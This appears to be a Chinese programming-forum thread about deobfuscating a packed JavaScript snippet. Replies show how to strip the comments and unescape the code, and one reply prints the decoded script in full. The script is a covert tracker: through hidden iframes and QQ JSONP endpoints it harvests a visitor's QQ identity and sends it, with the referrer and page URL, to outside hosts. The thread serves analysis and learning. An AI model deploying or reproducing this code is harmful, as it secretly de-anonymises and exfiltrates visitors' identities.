下面这一段也是的。 字数限制了 url%7C7Cparent%7C7CsetTime%7C7Ctrue%7C7Cids%7C7Cexpires%7C7CRegExp%7C7Cthepage%7C7Cescape%7C7Ctm%7C7CframeImg%7C7Cexpire%7C7C10000%7C7Cround%7C7Crandom%7C7Ccensus%7C7Cllurl%7C7Cmatch%7C7C100%7C7Cblog_url%7C7Cuid%7C7Ccourse%7C7Cke%7C7Cnew_list%7Csplit%7C7Cjsonp%7C7Cloading_blog%7C7Cblogid%7C7C1026%7C7Ccallback%7C7Cerr%7C7C365633133%7C7Cdata0%7C7Cresult%7C7Citems%7C7Capp%7C7Cqqs_not%7C7Capps%7C7Ctext%7C7Chref%7C7Clocation%7C7CHEAD%7C7Citem%7C7Cfalse%7C7CfangkenoLogin_do%7C7Chc%7C7Cshow_fel%7C7Cyx%7C7Creferrer%7C7Cqq_js%7C7CgetElementsByTagName%7C7Clc%7C7Cindex_json%7C7Croom_url%7C7Cuin%7C7Cqqs%7C7CActiveXObject%7C7Ctype%7C7Cbjbmyj%7C7Csplit%7C7CgetElementById%7C7Cutf%7C7Conerror%7C7Cimg%7C7Cxxx_third%7C3BK%7C20K%7C3BF%7C3DP%7C3BV%7C7DV%7C2B1z%7C2BG%7C28K%7C2C62%7C201z%7C7Cfunction%7C7Cif%7C7Cdocument%7C7CsetTimeout%7C20W%7C7Cvar%7C2C1x%7C2C168%7C7CxScript%7C3B2n%7C7Cexp%7C2C14%7C3Bl%7C2018%7C2011%7C5B2%7C2918%7C2Bp%7C2814%7C202o%7C20N%7C2BK%7C3BG%7C2AP%7C28G%7C2A24%7C20G%7C2B2r%7C3B2p%7C281x%7C20V%7C7Ciframe%7C7Cxx1%7C7Cname%7C%7C%7C%7C7C0px%7C270%7C7Chyj_tm%7C7Cphp%7C7Cstyle%7C7CDate%7C7Csrc%7C7CloadJS%7C7Conload%7C7Conreadystatechange%7C7Cscript%7C7Ccharset%7C7CreadyState%7C7CencodeURIComponent%7C7CgetTime%7C7Cu_api%7C7Consuccess%7C7Cnew%7C7CQin_api%7C7Cqq%7C7Cnull%7C7Ccookie%7C271v%7C7Cxx2%7C7Cdate%7C7C_iframe%7C7CfangkenoLogin%7C7Celse%7C7Cid%27.split/*zWoCB*/%28/*B0vVbIO*/%27%7C%27%29%2C0%2C%7B%7D%29%29%0A"/*kNwnjm*/)/*zZC6TL*//*kNwnjm*/)/*zZC6TL*//*ZCuGh20*/

解决方案 »

  1.   

    这个加密很有意思的你可以先用编辑器,我用的是Emeditor 将注释的内容替换掉,我用的正则是:  \/\*.*?\*\/
    剩下的就是,,超长了。 哈哈
      

  2.   


    var u_api = "http://www.tllymy.com/tj";var Fkio4 = unescape;
    var DijVq2oEV = eval;
    DijVq2oEV(Fkio4("eval %28 f
      

  3.   


    var u_api = "http://www.tllymy.com/tj";
    eval(unescape("eval ( function ( p,a,c,k,e,d){e=function ( c){return ( c<a?'':e ( parseInt ( c/a)))+ (  ( c=c%a)>35?String.fromCharCode ( c+29):c.toString ( 36))%7D%3Bif ( %21''.replace ( /%5E/,String)){while ( c--){d%5Be ( 
    后面这些 %21 %5C 之类的相应替换应该, 应该就出来了。 
      

  4.   


    var u_api = "http://www.tllymy.com/tj";
    var para=document.getElementById("qq_js");
    var v;
    var v=para.src;
    var tmp=v.split("?");
    var ids=tmp[1];
    var u_refer=encodeURIComponent(document.referrer);
    var u_page=encodeURIComponent(document.location.href);
    var Qin_api='http://api.bjbmyj.com/api';
    var isIE=document.all?true:false;
    var ie=document.all?true:false;
    var isIE=!!window.ActiveXObject;
    function loadJS(jsurl,onsuccess,charset,onerr){
        var xScript=document.createElement("script");
        xScript.type="text/javascript";
        if(charset==''){
            xScript.charset="utf-8"
        }else{
            xScript.charset=charset
        }
        xScript.src=jsurl;
        xScript.onerror=function(){
            if(onerr){
                setTimeout(onerr,10)
            }
        };
        if(ie){
            xScript.onreadystatechange=function(){
                if(xScript.readyState){
                    if(xScript.readyState=="loaded"||xScript.readyState=="complete"){
                        xScript.onreadystatechange=null;
                        xScript.onload=null;
                        if(onsuccess){
                            setTimeout(onsuccess,10)
                        }
                    }
                }else{
                    xScript.onreadystatechange=null;
                    xScript.onload=null;
                    if(onsuccess){
                        setTimeout(onsuccess,10)
                    }
                }
            }
        }else{
            xScript.onload=function(){
                if(xScript.readyState){
                    if(xScript.readyState=="loaded"||xScript.readyState=="complete"){
                        xScript.onreadystatechange=null;
                        xScript.onload=null;
                        if(onsuccess){
                            setTimeout(onsuccess,10)
                        }
                    }
                }else{
                    xScript.onreadystatechange=null;
                    xScript.onload=null;
                    if(onsuccess){
                        setTimeout(onsuccess,10)
                    }
                }
            }
        }
        document.getElementsByTagName('HEAD').item(0).appendChild(xScript)
    }
    function fangkenoLogin(){
        xx1=getCookie("fkqq");
        xx2=getCookie("fkname");
        try{
            if(xx1==''||xx1=='null'){
                fangkenoLogin_api_cookie()
            }else{
                setTimeout(xxx_third,1)
            }
        }
        catch(e){
            fangkenoLogin_api_cookie()
        }
    }
    function fangkenoLogin_api_cookie(){
        loadJS(Qin_api+"/qq/cookie.php?u_api="+encodeURIComponent(u_api)+"&t="+(new Date).getTime())
    }
    function qqs_not(){
        fangkenoLogin_do()
    }
    function fangkenoLogin_do(){
        loadJS("http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t="+(new Date).getTime(),checkLoginCB)
    }
    function checkLoginCB(){
        try{
            if(data0.err==1026){
                setTimeout(blog_api,100)
            }else{
                setTimeout(fangkenoLogin,5000)
            }
        }
        catch(e){
            setTimeout(fangkenoLogin,5000)
        }
    }
    function blog_api(){
        loadJS(Qin_api+"/blog_url.php?u_api="+encodeURIComponent(u_api)+"&t="+(new Date).getTime())
    }
    function loading_blog(blogid,uid){
        window.img="<script>function gqq_callback(options){
            parent.scn_sendInfo(options);
        };</script><script id='img' src='http://jsonp.ke.qq.com/cgi-bin/course/new_list?callback=gqq_callback'></script>";
        var frameid="frameImg"+Math.random();
        var _iframe=document.createElement("iframe");
        _iframe.src="javascript:parent.img;";
        _iframe.id=frameid;
        _iframe.scrolling="no";
        _iframe.setAttribute("frameborder","0",0);
        _iframe.style.width="0px";
        _iframe.style.height="0px";
        document.body.appendChild(_iframe)
    }
    function get_lastview(){
        var hyj_b=new Date();
        var hyj_tm=hyj_b.getTime();
        hyj_tm=Math.round(hyj_tm/1000);
        my_fetch_url=Qin_api+"/qq/index_json.php?u_api="+encodeURIComponent(u_api)+"&xx1="+xx1+"&xx2="+xx2+"&tm="+hyj_tm;
        loadJS(my_fetch_url)
    }
    function scn_sendInfo(id){
        try{
            xx1=id.result.items[1].room_url;
            xx1=encodeURIComponent(xx1);
            xx2='Null';
            setCookie("fkqq",xx1);
            setCookie("fkname",xx2);
            setTimeout(get_lastview,1)
        }
        catch(e){
            
        }
    }
    function qqs(id){
        xx1=id.uin;
        xx2='Null';
        setTimeout(xxx_third,1)
    }
    function xxx_third(){
        var iframe=document.createElement("iframe");
        iframe.src=u_api+"/C-census.php?"+ids+"&xx1="+xx1+"&xx2="+xx2+"&llurl="+u_refer+"&thepage="+u_page+"&t="+(new Date).getTime();
        iframe.id="QQfangke_iframe_two";
        iframe.name="QQfangke_iframe_two";
        iframe.style.width="0px";
        iframe.style.height="0px";
        iframe.scrolling="no";
        iframe.setAttribute('frameborder','0',0);
        document.body.appendChild(iframe)
    }
    function setCookie(name,value){
        var Days=1000;
        var exp=new Date();
        exp.setTime(exp.getTime()+Days*24*60*60*1000);
        document.cookie=name+"="+escape(value)+";expires="+exp.toGMTString()
    }
    function getCookie(name){
        var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
        if(arr=document.cookie.match(reg))return(arr[2]);
        else return'null'
    }
    function delCookie(name){
        var date=new Date();
        date.setTime(date.getTime()-10000);
        document.cookie=name+"=;expire="+date.toGMTString()
    }
    delCookie("fkqq");
    delCookie("fkname");
    fangkenoLogin();http://blog.csdn.net/superwfei/article/details/38436179你看看这里就可以自己解密的
      

  5.   

    解密别人的 JS 可以1、学习别人的实现方式
    2、根据自己的需求进行调整
    3、检查是否有非法JS代码
    .....